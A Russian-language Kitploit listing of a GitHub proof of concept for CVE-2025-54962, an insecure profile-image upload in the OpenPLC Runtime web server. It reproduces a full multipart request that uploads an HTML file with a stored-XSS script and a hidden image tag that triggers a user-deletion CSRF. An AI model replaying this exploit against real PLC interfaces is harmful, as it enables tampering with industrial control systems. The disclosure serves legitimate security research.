Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-54962 — Аутентифицированные пользователи могут загружать произвольные файлы (например, .html, .svg) в качестве изображений профиля в OpenPLC Runtime. Эти файлы общедоступны без аутентификации, что позволяет осуществлять хранимую XSS или доставку вредоносного контента. | Kitploit
Инструменты/GitHubGitHub/eyodav/cve-2025-54962
Анализ уязвимостейЭксплуатацияБезопасность SCADA/ICSЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubeyodav/cve-2025-54962

CVE-2025-54962

Аутентифицированные пользователи могут загружать произвольные файлы (например, .html, .svg) в качестве изображений профиля в OpenPLC Runtime. Эти файлы общедоступны без аутентификации, что позволяет осуществлять хранимую XSS или доставку вредоносного контента.

Репозиторий
81 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🔥 CVE-2025-54962 — Небезопасная загрузка файлов в веб-сервере OpenPLC Runtime

(OpenPLC Runtime ≤ 2024-12-31 — Хранимый XSS, CSRF)

📌 Краткое описание

Я обнаружил уязвимость в веб-сервере OpenPLC Runtime (выпуск от 2024-12-31), которая позволяет аутентифицированным пользователям загружать произвольные файлы (например, .html, .svg) в качестве изображений профиля. Эти файлы сохраняются в каталоге /static/ и доступны без аутентификации, что позволяет реализовать хранимый XSS или размещение вредоносного контента.


🧪 Затронутый компонент

  • Маршрут: /edit-user
  • Затронуто: функциональность загрузки файлов для изображений профиля

⚠️ Воздействие

  • Произвольная загрузка файлов с недостаточной валидацией MIME и расширений
  • Хранимый XSS
  • Размещение вредоносного контента
  • Неаутентифицированный доступ к загруженным файлам
  • CSRF

🎯 Вектор атаки

  1. Аутентифицированный пользователь загружает файл .html или .svg в качестве изображения профиля.
  2. Файл сохраняется в /static/ и получает предсказуемый идентификатор (например, http://localhost:8080/static/336029.html).
  3. Любой пользователь (даже неаутентифицированный) может напрямую получить доступ к загруженному файлу.
  4. Если файл содержит JavaScript или другой вредоносный код, он будет выполнен в браузере жертвы.

📸 Визуальное доказательство концепции

Панель управления при запущенном ПЛК

dashboard.png

Загрузка вредоносного файла .html

choose file.png

Использование «Все файлы» для обхода фильтра изображений

file.png

Выполнение загруженного файла из /static/

poc.png


🎞️ Видео-доказательства концепции

  • Демонстрация базового PoC
    poc de base.mp4

  • Демонстрация неаутентифицированного доступа
    unauthenticated.mp4

  • PoC для CSRF
    poc csrf.mp4


📤 Пример запроса эксплойта с использованием Burp Suite Repeater

root@kitploit:~
POST /edit-user HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1397
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: [OpenPLC URL]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3GoLRyFS7dyLS2B
User-Agent: [UA]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/edit-user?table_id=10
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=[cookie]
Connection: close

------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_id"

10
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="full_name"

OpenPLC User
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_name"

openplc
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_email"

[email protected]
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_password"

mypasswordishere
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="file"; filename="poc cve.html"
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
  <title>PoC – Unfiltered Upload</title>
</head>
<body>
  <h1>Proof of Concept</h1>

  <p>Payload uploaded on vulnerable endpoint. If filtering is broken, executing script below proves stored XSS.</p>

  <h2>XSS Demo (auto-executed)</h2>
  <script>alert('PoC xss')</script>

  <h2>CSRF</h2>
  <img src="http://127.0.0.1:8080/delete-user?user_id=%5BUser%20ID%5D" style="display:none" />

  <h2>document.domain</h2>
  <p>Opened from: <script>document.write(document.domain)</script></p>

  <h2>Manual link to malicious HTML</h2>
  <a href="https://google.com/" target="_blank">Click to redirect on google.com</a>
</body>
</html>

------WebKitFormBoundaryW3GoLRyFS7dyLS2B--
Скачать инструмент